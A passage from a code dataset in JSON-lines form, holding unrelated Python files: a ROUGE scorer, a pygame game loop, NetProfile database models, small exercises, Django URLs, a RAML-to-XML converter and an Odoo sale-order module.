\") for _ in sentences]))\n\ndef _get_word_ngrams(n, sentences):\n \"\"\"TAKEN FROM https://github.com/pltrdy/seq2seq/blob/master/seq2seq/metrics/rouge.py\n \n Calculates word n-grams for multiple sentences.\n \"\"\"\n assert len(sentences) > 0\n assert n > 0\n\n words = _split_into_words(sentences)\n return _get_ngrams(n, words)\n\ndef rouge_n(evaluated_sentences, reference_sentences, n=2):\n \"\"\" TAKEN FROM https://github.com/pltrdy/seq2seq/blob/master/seq2seq/metrics/rouge.py\n\n Computes ROUGE-N of two text collections of sentences.\n Sourece: http://research.microsoft.com/en-us/um/people/cyl/download/\n papers/rouge-working-note-v1.3.1.pdf\n Args:\n evaluated_sentences: The sentences that have been picked by the summarizer\n reference_sentences: The sentences from the referene set\n n: Size of ngram. Defaults to 2.\n Returns:\n A tuple (f1, precision, recall) for ROUGE-N\n Raises:\n ValueError: raises exception if a param has len <= 0\n \"\"\"\n if len(evaluated_sentences) <= 0 or len(reference_sentences) <= 0:\n raise ValueError(\"Collections must contain at least 1 sentence.\")\n\n evaluated_ngrams = _get_word_ngrams(n, evaluated_sentences)\n reference_ngrams = _get_word_ngrams(n, reference_sentences)\n reference_count = len(reference_ngrams)\n evaluated_count = len(evaluated_ngrams)\n\n # Gets the overlapping ngrams between evaluated and reference\n overlapping_ngrams = evaluated_ngrams.intersection(reference_ngrams)\n overlapping_count = len(overlapping_ngrams)\n\n # Handle edge case. This isn't mathematically correct, but it's good enough\n if evaluated_count == 0:\n precision = 0.0\n else:\n precision = overlapping_count / evaluated_count\n\n if reference_count == 0:\n recall = 0.0\n else:\n recall = overlapping_count / reference_count\n\n f1_score = 2.0 * ((precision * recall) / (precision + recall + 1e-8))\n\n # return overlapping_count / reference_count\n return f1_score, precision, recall\n\nclass Rouge():\n '''\n Class for computing ROUGE-L score for a set of candidate sentences for the MS COCO test set\n\n '''\n def __init__(self, n=2):\n # vrama91: updated the value below based on discussion with Hovey\n self.beta = 1.2\n self._n = n\n\n def calc_score(self, candidate, refs):\n \"\"\"\n Compute ROUGE-L score given one candidate and references for an image\n :param candidate: list of str : candidate sentence to be evaluated\n :param refs: list of str : COCO reference sentences for the particular image to be evaluated\n :returns score: int (ROUGE-L score for the candidate evaluated against references)\n \"\"\"\n assert(len(candidate)==1)\t\n assert(len(refs)>0) \n prec = []\n rec = []\n\n # Compute ROUGE-n scores\n rouge_n_scores = []\n for n in range(1, self._n + 1):\n f_score, _, _ = rouge_n(candidate, refs, n)\n rouge_n_scores.append(f_score)\n\n # split into tokens\n token_c = candidate[0].split(\" \")\n \t\n for reference in refs:\n # split into tokens\n token_r = reference.split(\" \")\n # compute the longest common subsequence\n lcs = my_lcs(token_r, token_c)\n prec.append(lcs/float(len(token_c)))\n rec.append(lcs/float(len(token_r)))\n\n prec_max = max(prec)\n rec_max = max(rec)\n\n if(prec_max!=0 and rec_max !=0):\n score = ((1 + self.beta**2)*prec_max*rec_max)/float(rec_max + self.beta**2*prec_max)\n else:\n score = 0.0\n return rouge_n_scores + [score]\n\n def compute_score(self, gts, res):\n \"\"\"\n Computes Rouge-L score given a set of reference and candidate sentences for the dataset\n Invoked by evaluate_captions.py \n :param hypo_for_image: dict : candidate / test sentences with \"image name\" key and \"tokenized sentences\" as values \n :param ref_for_image: dict : reference MS-COCO sentences with \"image name\" key and \"tokenized sentences\" as values\n :returns: average_score: float (mean ROUGE-L score computed by averaging scores for all the images)\n \"\"\"\n assert(gts.keys() == res.keys())\n imgIds = gts.keys()\n\n score = []\n for id in imgIds:\n hypo = res[id]\n ref = gts[id]\n\n score.append(self.calc_score(hypo, ref))\n\n # Sanity check.\n assert(type(hypo) is list)\n assert(len(hypo) == 1)\n assert(type(ref) is list)\n assert(len(ref) > 0)\n\n score_type = []\n for s_idx, s_type in enumerate(score[0]):\n score_type.append([s[s_idx] for s in score])\n\n average_score = [np.mean(np.array(s)) for s in score_type]\n return average_score, [np.array(s) for s in score_type]\n\n def method(self):\n return \"Rouge\"\n","sub_path":"nlgeval/pycocoevalcap/rouge/rouge.py","file_name":"rouge.py","file_ext":"py","file_size_in_byte":6837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"22712968","text":"from .metronome import Metronome\nfrom .track import Track\n\n\nclass Sequencer:\n def __init__(self, bpm=120, ticks_per_beat=4):\n Metronome(bpm, ticks_per_beat)\n\n self.kick = Track(\"kick\")\n self.snare = Track(\"snare\")\n self.perc = Track(\"perc\")\n self.hiss = Track(\"hiss\")\n self.bass = Track(\"bass\")\n self.lead = Track(\"lead\")\n self.arp = Track(\"arp\")\n self.chord = Track(\"chord\")\n\n def start(self):\n Metronome().tick_forever()\n","sub_path":"looper/sequencer.py","file_name":"sequencer.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"483722038","text":"'''\nCreated on Feb 18, 2013\n\n@author: Murat Celik\n'''\n\nimport pygame\nfrom Objects.Level import Level \nfrom GridManager import GridManager\n\nWIDTH = 600\nHEIGHT = 600\nCELL_WIDTH = 20\nSCREEN = pygame.display.set_mode((WIDTH, HEIGHT))\n\n\nWHITE = [255, 255, 255]\n\n \n# Game objects to draw on screen\ngame_objects = pygame.sprite.Group()\n\n\n# Main game logic\ndef main():\n pygame.init()\n pygame.display.set_caption(\"Beams&Mirrors\")\n temp_level = Level(1, open(\"Level Data/level1.lvl\"))\n temp_level.read_data()\n game_objects = temp_level.create()\n \n \n grid_manager = GridManager()\n \n\n \n # Game loop\n while True:\n for event in pygame.event.get():\n # Quit \n if event.type == pygame.QUIT:\n quit()\n \n game_objects.draw(SCREEN)\n grid_manager.draw_grid(SCREEN)\n pygame.display.flip()\n SCREEN.fill(WHITE) \n\n \n\nif __name__ == '__main__':\n main()","sub_path":"src/GameManager.py","file_name":"GameManager.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"592892037","text":"#!/usr/bin/env python\n# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t -*-\n#\n# NetProfile: Documents module - Models\n# © Copyright 2013-2014 Alex 'Unik' Unigovsky\n#\n# This file is part of NetProfile.\n# NetProfile is free software: you can redistribute it and/or\n# modify it under the terms of the GNU Affero General Public\n# License as published by the Free Software Foundation, either\n# version 3 of the License, or (at your option) any later\n# version.\n#\n# NetProfile is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General\n# Public License along with NetProfile. If not, see\n# .\n\nfrom __future__ import (\n\tunicode_literals,\n\tprint_function,\n\tabsolute_import,\n\tdivision\n)\n\n__all__ = [\n\t'Document',\n\t'DocumentBundle',\n\t'DocumentBundleMapping'\n]\n\nfrom sqlalchemy import (\n\tColumn,\n\tForeignKey,\n\tIndex,\n\tPickleType,\n\tSequence,\n\tUnicode,\n\tUnicodeText,\n\ttext\n)\n\nfrom sqlalchemy.orm import (\n\tbackref,\n\trelationship\n)\n\nfrom sqlalchemy.ext.associationproxy import association_proxy\n\nfrom netprofile.db.connection import (\n\tBase,\n\tDBSession\n)\nfrom netprofile.db.fields import (\n\tASCIIString,\n\tDeclEnum,\n\tNPBoolean,\n\tUInt8,\n\tUInt32,\n\tnpbool\n)\nfrom netprofile.db.ddl import Comment\nfrom netprofile.ext.wizards import SimpleWizard\nfrom pyramid.i18n import (\n\tTranslationStringFactory,\n\tget_localizer\n)\n\n_ = TranslationStringFactory('netprofile_documents')\n\nclass DocumentType(DeclEnum):\n\t\"\"\"\n\tDocument type ENUM.\n\t\"\"\"\n\tlxdoc = 'lxdoc', _('lxDoc'), 10\n\thtml_plain = 'html-plain', _('Plain HTML'), 20\n\thtml_ext = 'html-ext', _('XTemplate HTML'), 30\n\nclass Document(Base):\n\t\"\"\"\n\tDocument object.\n\t\"\"\"\n\t__tablename__ = 'docs_def'\n\t__table_args__ = (\n\t\tComment('Documents'),\n\t\tIndex('docs_def_u_code', 'code', unique=True),\n\t\tIndex('docs_def_u_name', 'name', unique=True),\n\t\t{\n\t\t\t'mysql_engine' : 'InnoDB',\n\t\t\t'mysql_charset' : 'utf8',\n\t\t\t'info' : {\n\t\t\t\t#'cap_menu' : '',\n\t\t\t\t'cap_read' : 'DOCUMENTS_LIST',\n\t\t\t\t'cap_create' : 'DOCUMENTS_CREATE',\n\t\t\t\t'cap_edit' : 'DOCUMENTS_EDIT',\n\t\t\t\t'cap_delete' : 'DOCUMENTS_DELETE',\n\t\t\t\t'menu_name' : _('Documents'),\n\t\t\t\t'show_in_menu' : 'admin',\n\t\t\t\t'menu_order' : 10,\n\t\t\t\t'default_sort' : ({ 'property': 'name', 'direction': 'ASC' },),\n\t\t\t\t'grid_view' : ('code', 'name', 'type'),\n\t\t\t\t'form_view' : ('code', 'name', 'type', 'external', 'body', 'descr'),\n\t\t\t\t'easy_search' : ('code', 'name'),\n\t\t\t\t'detail_pane' : ('netprofile_core.views', 'dpane_simple'),\n\t\t\t\t'create_wizard' : SimpleWizard(title=_('Add new document'))\n\t\t\t}\n\t\t}\n\t)\n\tid = Column(\n\t\t'docid',\n\t\tUInt32(),\n\t\tSequence('docs_def_docid_seq'),\n\t\tComment('Document ID'),\n\t\tprimary_key=True,\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('ID')\n\t\t}\n\t)\n\tcode = Column(\n\t\tASCIIString(48),\n\t\tComment('Document code'),\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('Code')\n\t\t}\n\t)\n\tname = Column(\n\t\tUnicode(255),\n\t\tComment('Document name'),\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('Name'),\n\t\t\t'column_flex' : 1\n\t\t}\n\t)\n\ttype = Column(\n\t\tDocumentType.db_type(),\n\t\tComment('Template type'),\n\t\tnullable=False,\n\t\tdefault=DocumentType.html_ext,\n\t\tserver_default=DocumentType.html_ext,\n\t\tinfo={\n\t\t\t'header_string' : _('Type')\n\t\t}\n\t)\n\texternal = Column(\n\t\tNPBoolean(),\n\t\tComment('Is externally stored?'),\n\t\tnullable=False,\n\t\tdefault=False,\n\t\tserver_default=npbool(False),\n\t\tinfo={\n\t\t\t'header_string' : _('External')\n\t\t}\n\t)\n\tbody = Column(\n\t\tUnicodeText(),\n\t\tComment('Document body'),\n\t\tnullable=True,\n\t\tdefault=None,\n\t\tserver_default=text('NULL'),\n\t\tinfo={\n\t\t\t'header_string' : _('Body'),\n#\t\t\t'editor_xtype' : 'htmleditor',\n\t\t\t'editor_xtype' : 'tinymce_field',\n\t\t\t'editor_config' : {\n\t\t\t\t'tinyMCEConfig' : {\n\t\t\t\t\t'theme' : 'advanced',\n\t\t\t\t\t'skin' : 'extjs',\n\t\t\t\t\t'inlinepopups_skin' : 'extjs',\n\t\t\t\t\t'theme_advanced_row_height' : 27,\n\t\t\t\t\t'delta_height' : 1,\n\t\t\t\t\t'schema' : 'html5',\n\t\t\t\t\t'plugins' : 'lists,pagebreak,style,layer,table,save,advhr,advimage,advlink,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,visualblocks,nonbreaking,xhtmlxtras,template,wordcount,advlist',\n\n\t\t\t\t\t'theme_advanced_buttons1' : 'bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect',\n\t\t\t\t\t'theme_advanced_buttons2' : 'cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor',\n\t\t\t\t\t'theme_advanced_buttons3' : 'tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen',\n\t\t\t\t\t'theme_advanced_buttons4' : 'insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,visualblocks,nonbreaking,template,pagebreak,restoredraft',\n\n\t\t\t\t\t'theme_advanced_toolbar_location' : 'top',\n\t\t\t\t\t'theme_advanced_toolbar_align' : 'left',\n\t\t\t\t\t'theme_advanced_statusbar_location' : 'bottom',\n\n\t\t\t\t\t'extended_valid_elements' : '+tpl[if|elsif|else|for|foreach|switch|case|default]',\n\t\t\t\t\t'custom_elements' : '~tpl',\n\t\t\t\t\t'valid_children' : '+*[tpl],+tpl[*],+tbody[tpl],+body[tpl],+table[tpl],+tpl[table|tr|tpl|#text]'\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t)\n\tvariables = Column(\n\t\t'vars',\n\t\tPickleType(),\n\t\tComment('List of variable templates'),\n\t\tnullable=True,\n\t\tdefault=None,\n\t\tserver_default=text('NULL'),\n\t\tinfo={\n\t\t\t'header_string' : _('Variables')\n\t\t}\n\t)\n\tdescription = Column(\n\t\t'descr',\n\t\tUnicodeText(),\n\t\tComment('Description'),\n\t\tnullable=True,\n\t\tdefault=None,\n\t\tserver_default=text('NULL'),\n\t\tinfo={\n\t\t\t'header_string' : _('Description')\n\t\t}\n\t)\n\n\tbundlemap = relationship(\n\t\t'DocumentBundleMapping',\n\t\tbackref=backref('document', innerjoin=True),\n\t\tcascade='all, delete-orphan',\n\t\tpassive_deletes=True\n\t)\n\n\tbundles = association_proxy(\n\t\t'bundlemap',\n\t\t'bundle',\n\t\tcreator=lambda v: DocumentBundleMapping(bundle=v)\n\t)\n\n\tdef __str__(self):\n\t\ts = self.name\n\t\tif not s:\n\t\t\ts = self.code\n\t\treturn str(s)\n\nclass DocumentBundle(Base):\n\t\"\"\"\n\tGroup of related documents.\n\t\"\"\"\n\t__tablename__ = 'docs_bundles_def'\n\t__table_args__ = (\n\t\tComment('Document bundles'),\n\t\tIndex('docs_bundles_def_u_name', 'name', unique=True),\n\t\t{\n\t\t\t'mysql_engine' : 'InnoDB',\n\t\t\t'mysql_charset' : 'utf8',\n\t\t\t'info' : {\n\t\t\t\t#'cap_menu' : '',\n\t\t\t\t'cap_read' : 'DOCUMENTS_LIST',\n\t\t\t\t'cap_create' : 'DOCUMENTS_BUNDLES_CREATE',\n\t\t\t\t'cap_edit' : 'DOCUMENTS_BUNDLES_EDIT',\n\t\t\t\t'cap_delete' : 'DOCUMENTS_BUNDLES_DELETE',\n\t\t\t\t'menu_name' : _('Bundles'),\n\t\t\t\t'show_in_menu' : 'admin',\n\t\t\t\t'menu_order' : 20,\n\t\t\t\t'default_sort' : ({ 'property': 'name', 'direction': 'ASC' },),\n\t\t\t\t'grid_view' : ('name',),\n\t\t\t\t'form_view' : ('name',),\n\t\t\t\t'easy_search' : ('name',),\n\t\t\t\t'detail_pane' : ('netprofile_core.views', 'dpane_simple'),\n\t\t\t\t'create_wizard' : SimpleWizard(title=_('Add new bundle'))\n\t\t\t}\n\t\t}\n\t)\n\tid = Column(\n\t\t'dbid',\n\t\tUInt32(),\n\t\tSequence('docs_bundles_def_dbid_seq'),\n\t\tComment('Document bundle ID'),\n\t\tprimary_key=True,\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('ID')\n\t\t}\n\t)\n\tname = Column(\n\t\tUnicode(255),\n\t\tComment('Document bundle name'),\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('Name'),\n\t\t\t'column_flex' : 1\n\t\t}\n\t)\n\n\tdocmap = relationship(\n\t\t'DocumentBundleMapping',\n\t\tbackref=backref('bundle', innerjoin=True),\n\t\tcascade='all, delete-orphan',\n\t\tpassive_deletes=True\n\t)\n\n\tdocuments = association_proxy(\n\t\t'docmap',\n\t\t'document',\n\t\tcreator=lambda v: DocumentBundleMapping(document=v)\n\t)\n\n\tdef __str__(self):\n\t\treturn str(self.name)\n\nclass DocumentBundleMapping(Base):\n\t\"\"\"\n\tMapping of a document to bundle.\n\t\"\"\"\n\t__tablename__ = 'docs_bundles_bits'\n\t__table_args__ = (\n\t\tComment('Document bundle contents'),\n\t\tIndex('docs_bundles_bits_u_doc', 'dbid', 'docid', unique=True),\n\t\tIndex('docs_bundles_bits_i_docid', 'docid'),\n\t\t{\n\t\t\t'mysql_engine' : 'InnoDB',\n\t\t\t'mysql_charset' : 'utf8',\n\t\t\t'info' : {\n\t\t\t\t#'cap_menu' : '',\n\t\t\t\t'cap_read' : 'DOCUMENTS_LIST',\n\t\t\t\t'cap_create' : 'DOCUMENTS_BUNDLES_EDIT',\n\t\t\t\t'cap_edit' : 'DOCUMENTS_BUNDLES_EDIT',\n\t\t\t\t'cap_delete' : 'DOCUMENTS_BUNDLES_EDIT',\n\t\t\t\t'menu_name' : _('Bundle Contents'),\n\t\t\t\t'default_sort' : ({ 'property': 'order', 'direction': 'ASC' },),\n\t\t\t\t'grid_view' : ('bundle', 'document', 'order', 'copies'),\n\t\t\t\t'form_view' : ('bundle', 'document', 'order', 'copies'),\n\t\t\t\t'detail_pane' : ('netprofile_core.views', 'dpane_simple'),\n\t\t\t\t'create_wizard' : SimpleWizard(title=_('Add new document to the bundle'))\n\t\t\t}\n\t\t}\n\t)\n\tid = Column(\n\t\t'dbbid',\n\t\tUInt32(),\n\t\tSequence('docs_bundles_bits_dbbid_seq'),\n\t\tComment('Document bundle bit ID'),\n\t\tprimary_key=True,\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('ID')\n\t\t}\n\t)\n\tbundle_id = Column(\n\t\t'dbid',\n\t\tUInt32(),\n\t\tComment('Document bundle ID'),\n\t\tForeignKey('docs_bundles_def.dbid', name='docs_bundles_bits_fk_dbid', onupdate='CASCADE', ondelete='CASCADE'),\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('Bundle'),\n\t\t\t'filter_type' : 'list',\n\t\t\t'column_flex' : 1\n\t\t}\n\t)\n\tdocument_id = Column(\n\t\t'docid',\n\t\tUInt32(),\n\t\tComment('Document ID'),\n\t\tForeignKey('docs_def.docid', name='docs_bundles_bits_fk_docid', onupdate='CASCADE', ondelete='CASCADE'),\n\t\tnullable=False,\n\t\tinfo={\n\t\t\t'header_string' : _('Document'),\n\t\t\t'filter_type' : 'list',\n\t\t\t'column_flex' : 1\n\t\t}\n\t)\n\torder = Column(\n\t\tUInt8(),\n\t\tComment('Order in bundle'),\n\t\tnullable=False,\n\t\tdefault=1,\n\t\tserver_default=text('1'),\n\t\tinfo={\n\t\t\t'header_string' : _('Order')\n\t\t}\n\t)\n\tcopies = Column(\n\t\tUInt8(),\n\t\tComment('Number of copies'),\n\t\tnullable=False,\n\t\tdefault=1,\n\t\tserver_default=text('1'),\n\t\tinfo={\n\t\t\t'header_string' : _('Copies')\n\t\t}\n\t)\n\n\tdef __str__(self):\n\t\treturn '%s: %s' % (\n\t\t\tstr(self.bundle),\n\t\t\tstr(self.document)\n\t\t)\n\n","sub_path":"netprofile_documents/netprofile_documents/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"324342034","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 14 05:01:24 2016\n\n@author: ericdargan\n\nMade in Spyder\n\"\"\"\n\nn = int(input(\"Please enter the length of the sequence: \"))\nprint(\"Please enter your sequence: \")\nproduct = 1\n\nfor i in range(0,n):\n product *= int(input())\n \n\nmean = float(product) ** (1.0/n)\n\nprint( \"The geometric mean is: \" + str(round(mean,4)))\n ","sub_path":"ed1592_hw4_q4a.py","file_name":"ed1592_hw4_q4a.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"630486802","text":"string = input()\nlength = len(string)\nlongest_length = 0\n\nfor index in range(length):\n # Finding Characters\n cur_char = string[index]\n prev_index = index - 1\n temp_length = 0\n if prev_index < 0:\n prev_char = '|'\n else:\n prev_char = string[prev_index]\n next_index = index + 1\n if next_index > length - 1:\n next_char = \"|\"\n else:\n next_char = string[next_index]\n # Comparison\n if cur_char == next_char:\n lower_char1 = cur_char\n lower_index1 = index\n higher_char1 = next_char\n higher_index1 = next_index\n temp_length += 2\n elif prev_char == next_char:\n lower_char1 = cur_char\n lower_index1 = index\n higher_char1 = cur_char\n higher_index1 = index\n temp_length += 1\n # Search for more\n if temp_length > 0:\n while True:\n lower_index2 = lower_index1 - 1\n higher_index2 = higher_index1 + 1\n if lower_index2 < 0:\n lower_char2 = \"|\"\n else:\n lower_char2 = string[lower_index2]\n\n if higher_index2 > length - 1:\n higher_char2 = \"|\"\n else:\n higher_char2 = string[higher_index2]\n # if a match:\n if lower_char2 == higher_char2 and not lower_char2 == \"|\" and not higher_char2 == \"|\":\n temp_length += 2\n lower_index1 = lower_index2\n higher_index1 = higher_index2\n continue\n else:\n break\n\n # Setting greatest\n if temp_length > longest_length or longest_length == 0:\n longest_length = temp_length\nprint(longest_length)\n# print(prev_char,cur_char,next_char)\n","sub_path":"DMOJ/Solved/J3/CCC '16 J3 - Hidden Palindrome.py","file_name":"CCC '16 J3 - Hidden Palindrome.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"25333667","text":"\n\nfrom django.conf.urls import url\nfrom job_portal import views\n\nurlpatterns = [\n url(r'^employers$', \n views.EmployersView.as_view(),\n name=\"employers\"),\n url(r'^employee/(?P[0-9]+)$',\n views.EmployeeDetailedView.as_view(),\n name=\"employee\"),\n url(r'^category_tree/(?P[0-9]+)$', \n views.CategoryTreeView.as_view(),\n name=\"category_tree\"),\n url(r'^hot_vacancies/(?P[0-9]+)$',\n views.HotVacanciesForEmployerView.as_view(),\n name=\"hot_vacancies\"),\n url(r'^add_cv$',\n views.AddNewCVView.as_view(),\n name=\"add_cv\"),\n url(r'^apply_by_for$',\n views.ApplyForVacancyView.as_view(),\n name=\"apply_by_for\"),\n url(r'^react_on_application$',\n views.ReactOnApplicationView.as_view(),\n name=\"react_on_application\"),\n]\n","sub_path":"job_portal/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"584308981","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function\nfrom miscellaneous.utility import find_between_r\nfrom read.readRamlIrma import readRamlIrma\nfrom xml.VsDataContainer import VsDataContainer\nimport os\n\ndef moPathAnalyzer(full_path):\n\tans = []\n\tpath = full_path.split('/')\n\tfor el in path:\n\t\tif el.count('-') == 1:\n\t\t\tif 'OSS' not in el.split('-')[1]:\n\t\t\t\tans.append(el.split('-')) \n\t\telse:\n\t\t\tvalue = ''\n\t\t\tname = ''\n\t\t\tfor x in el.split('-'):\n\t\t\t\tif 'vsData' in x:\n\t\t\t\t\tname = x\n\t\t\t\telse:\n\t\t\t\t\tvalue += x+'-'\n\t\t\tans.append([name, value[:-1]])\n\treturn ans\n\ndef readMoParamList(line_number, lines, reader):\n\toss_name = reader.oss_name\n\tmo_struct = []\n\tcheck = True\n\twhile check:\n\t\tline_number += 1\n\t\tline = lines[line_number]\t\t\n\t\tif '' in line:\n\t\t\tcheck = False\n\t\telse:\n\t\t\tmo_struct.append(line.strip())\n\tparams = []\n\traw_param = {}\n\tskip = False\n\tname_p = ''\n\tfor element in mo_struct:\n\t\tif '' in element:\n\t\t\tskip = False\n\t\t\traw_param[name_p].append(element)\n\t\telif skip:\n\t\t\traw_param[name_p].append(element)\n\t\telif '

', '

')\n\t\t\tparams.append((name_p, 'single', value_p))\n\tfor p in raw_param:\n\t\tkind = reader.classifier(p, raw_param[p])\n\t\tif kind == 'Vettoriale':\n\t\t\tparams.append((p, 'struct', reader.getValueVettoriale(raw_param[p])))\n\t\tif kind == 'Strutturato':\n\t\t\tparams.append((p, 'struct', reader.getValueStrutturato(raw_param[p])))\n\t\tif kind == 'Strutturato_Mixed':\n\t\t\tparams.append((p, 'struct', reader.getValueStrutturatoMixed(p, raw_param[p])))\n\t\tif kind == 'Strutturato_Vettoriale':\n\t\t\tparams.append((p, 'struct', reader.getValueStrutturatoVettoriale(raw_param[p])))\n\tparams_sorted = sorted(params, key=lambda k: k[0])\n\treturn params_sorted\n\n\ndef readFileRaml(file_path, reader):\n\tfile_raml = open(file_path, 'r')\n\tmo = []\n\tlines = file_raml.readlines()\n\tfor n, line in enumerate(lines):\n\t\tif '\\n'\n\t\t\t\t\telse:\n\t\t\t\t\t\tif el_name == mo_name:\n\t\t\t\t\t\t\tmo_writer = VsDataContainer(tab, el_name, el_id, OSS_REL, mo_action)\n\t\t\t\t\t\t\ts += mo_writer.writeHeader(False)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tmo_writer = VsDataContainer(tab, el_name, el_id, OSS_REL)\n\t\t\t\t\t\t\ts += mo_writer.writeHeader()\n\t\t\t\t\t\t\ts += '\\t'+'\\t'*tab+'\\n'\n\t\t\t\ttab = 1\n\t\t\t\tfor el in ParamList:\n\t\t\t\t\tparam = {}\n\t\t\t\t\tname, tipo, value = el\n\t\t\t\t\tparam[name] = value\n\t\t\t\t\tif tipo == 'single':\n\t\t\t\t\t\ts += mo_writer.writeParamSimple('es', param)\n\t\t\t\t\tif tipo == 'struct':\n\t\t\t\t\t\ts += mo_writer.writeStructParam('es', param)\n\t\t\t\ts += mo_writer.writeFooter('Child')\n\t\t\t\tfor j, el_rev in enumerate(mo_path_vect[::-1]):\n\t\t\t\t\tel_rev_name = el_rev[0]\n\t\t\t\t\tif el_rev_name == 'SubNetwork' or el_rev_name == 'MeContext' or el_rev_name == 'ManagedElement':\n\t\t\t\t\t\ts += '\\t'*(tab+len(mo_path_vect)-j)+'\\n'\n\t\t\t\t\telse:\n\t\t\t\t\t\ts += '\\t'*(tab+len(mo_path_vect)-j)+'\\n'\n\t\t\t\tXml = open(path_to_out, 'a')\n\t\t\t\tXml.write(s)\n\t\t\t\tXml.close()\n\t\t\tf = createFooter()\n\t\t\tXml = open(path_to_out, 'a')\n\t\t\tXml.write(f)\n\t\t\tXml.close()\n\t\t\tprint('File {} convertito in {}'.format(xml, 'e3gpp_'+xml))\n\nif __name__ == '__main__':\n\ttitle()\n\tusage()\n\tcwd = os.getcwd()\n\tOSS_REL = ''\n\tfiles = (f for f in os.listdir(cwd) if not f.startswith('.') and f.endswith('.xml') and os.path.isfile(os.path.join(cwd, f)))\n\tfile_list = [f for f in files]\n\traml2xml(file_list, cwd)\n\n\n","sub_path":"raml2xml.py","file_name":"raml2xml.py","file_ext":"py","file_size_in_byte":6363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"614658580","text":"# -*- coding: utf-8 -*-\r\nfrom odoo.addons import decimal_precision as dp\r\nfrom odoo.exceptions import UserError,AccessError\r\nfrom odoo import fields,models,api,_\r\nimport json\r\nimport time\r\nimport os\r\nfrom odoo.tools.profiler import profile\r\nfrom odoo.osv import expression\r\nfrom odoo.tools import float_is_zero, float_compare, DEFAULT_SERVER_DATETIME_FORMAT\r\nfrom odoo.tools.misc import formatLang\r\n\r\nimport uuid\r\n\r\nfrom itertools import groupby\r\nfrom datetime import datetime, timedelta\r\nfrom werkzeug.urls import url_encode\r\n\r\nclass SaleOrderLine(models.Model):\r\n _inherit = \"sale.order.line\"\r\n\r\n @api.onchange('discount','tax_id')\r\n def _onchange_discount(self):\r\n for line in self:\r\n if round(line.discount) >= 100 or round(line.discount) < 0:\r\n line.discount = 0\r\n\r\n if len([1 for tax in line.tax_id if tax.tipo_afectacion_igv.code in [\"31\",\"32\",\"33\",\"34\",\"35\",\"36\"]])>0 and line.discount > 0:\r\n line.discount = 0\r\n\r\n @api.depends('product_id', 'purchase_price', 'product_uom_qty', 'price_unit', 'price_subtotal')\r\n def _product_margin(self):\r\n for line in self:\r\n currency = line.order_id.pricelist_id.currency_id\r\n price = line.purchase_price\r\n if len([1 for tax in line.tax_id if tax.tipo_afectacion_igv.code in [\"31\",\"32\",\"33\",\"34\",\"35\",\"36\"]]) == 0:\r\n line.margin = currency.round(line.price_subtotal - (price * line.product_uom_qty))\r\n\r\n @api.depends('product_id','product_uom_qty', 'discount', 'price_unit', 'tax_id')\r\n def _compute_amount(self):\r\n \"\"\"\r\n Compute the amounts of the SO line.\r\n \"\"\"\r\n for line in self:\r\n if len([1 for tax in line.tax_id if tax.tipo_afectacion_igv.code in [\"31\",\"32\",\"33\",\"34\",\"35\",\"36\"]]) == 0:\r\n price = line.price_unit * (1 - (line.discount or 0.0) / 100.0)\r\n taxes = line.tax_id.compute_all(price, line.order_id.currency_id, line.product_uom_qty, product=line.product_id, partner=line.order_id.partner_shipping_id)\r\n line.update({\r\n 'price_tax': sum(t.get('amount', 0.0) for t in taxes.get('taxes', [])),\r\n 'price_total': taxes['total_included'],\r\n 'price_subtotal': taxes['total_excluded'],\r\n })\r\n else:\r\n line.update({\r\n 'price_tax':0,\r\n 'price_total': 0,\r\n 'price_subtotal': 0,\r\n })\r\n\r\nclass SaleOrder(models.Model):\r\n _inherit = \"sale.order\"\r\n tipo_documento = fields.Selection(\r\n string=\"Tipo de Documento\",\r\n selection=[('01','Factura'),('03','Boleta')], \r\n default=\"01\",\r\n required=True)\r\n\r\n @api.multi\r\n def _prepare_invoice(self):\r\n self.ensure_one()\r\n invoice_type_code = self.tipo_documento\r\n journal_ids = 